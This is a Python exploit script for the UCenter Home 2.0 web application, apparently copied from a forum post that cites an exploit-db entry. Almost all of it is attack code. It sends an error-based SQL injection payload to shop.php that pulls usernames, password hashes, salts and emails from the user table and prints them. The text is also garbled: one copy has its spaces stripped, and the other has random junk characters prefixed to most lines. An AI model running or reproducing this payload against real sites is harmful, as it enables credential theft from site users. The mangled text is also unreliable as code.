#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl
V) J1 u8 K8 Q
; O2 Z- m9 h5 [# i, n7 @* D8 X1 A7 O% R) x: w
#!/usr/bin/env python
# t. _" t+ _5 f3 ~9 I# V( [2 B
3 s7 h" D( z1 g$ e6 }4 Limport sys
* t+ B& ~1 r+ D* Y3 Uimport urllib2
$ Y& e1 h. o9 P: Z/ }7 q! Dimport re
4 |7 `3 g9 T6 C% }% ?4 D v * \) |# O4 n0 F' t0 G8 G; q X
def info():
8 s' j9 v% v& A9 ^+ A print 'From:http://www.exploit-db.com/exploits/14997/' . \* T* `! V4 z7 p2 u; @# S/ F
print 'http://www.hake.cc/Web_loudong/'
4 i' {" ^* U {) y2 a5 C' W+ B print 'changed:qiaoy'
9 C8 l8 q. K$ f5 z print 'exp:' 9 }" Y) x0 n2 M( C0 M% o
print ' ./UCenter_Home_2.0.py site'
9 U. p# Z( ~% s
, ^1 R& C" ^( m8 q) h, ~def main(): 2 V. b5 s) a! [( h
if len(sys.argv) != 2: 5 }; r O* [( `5 k
info() " o) T; T$ A: U, l
else: 5 J4 S% }' U$ W! A
site = sys.argv[1]
6 x$ u* Y0 F1 [. y( I! V if site[0:7] == 'http://': ! t9 f+ S k6 o
sitesite =site . g6 ~# r4 K# V, a% ^# p" ^; P8 U
elif site[0:8] == 'https://':
0 t* l# P$ L9 A- k$ d" e sitesite = site
- N" ~8 B. i. A) _/ F& A else: , e7 q% q$ }: H8 e: G* [
site = 'http://'+site
2 I7 s$ z9 f# r, [5 Z1 Z try:
1 d0 i7 w6 e4 M! Y url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'
$ E, f, b3 ^: v Value = urllib2.urlopen(url).read() / t! w. Z. ^) e$ O& I! O& E
Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0] 3 o- _/ y4 ^. J
hacked = Msg.split(':') & M3 i- ]3 W9 p" n7 x! i
print 'Name: '+hacked[1]
H- Q7 i8 J& |5 J print 'Passwd: '+hacked[2]
& B& w0 _* q# V( n print 'salt: '+hacked[3]
: T# v' \# t( g) m print 'email: '+hacked[4] 4 k' v( y) j' a( g- m
except: 6 {, {/ e" C" f' n" J; s
print 'Sorry,I can\'t work............'
( f5 ]3 A" k3 X0 B) {8 S- d
; j- J: x- R* a o/ cif __name__ == '__main__':
3 q* R+ x8 z- g) z' v' Q main() |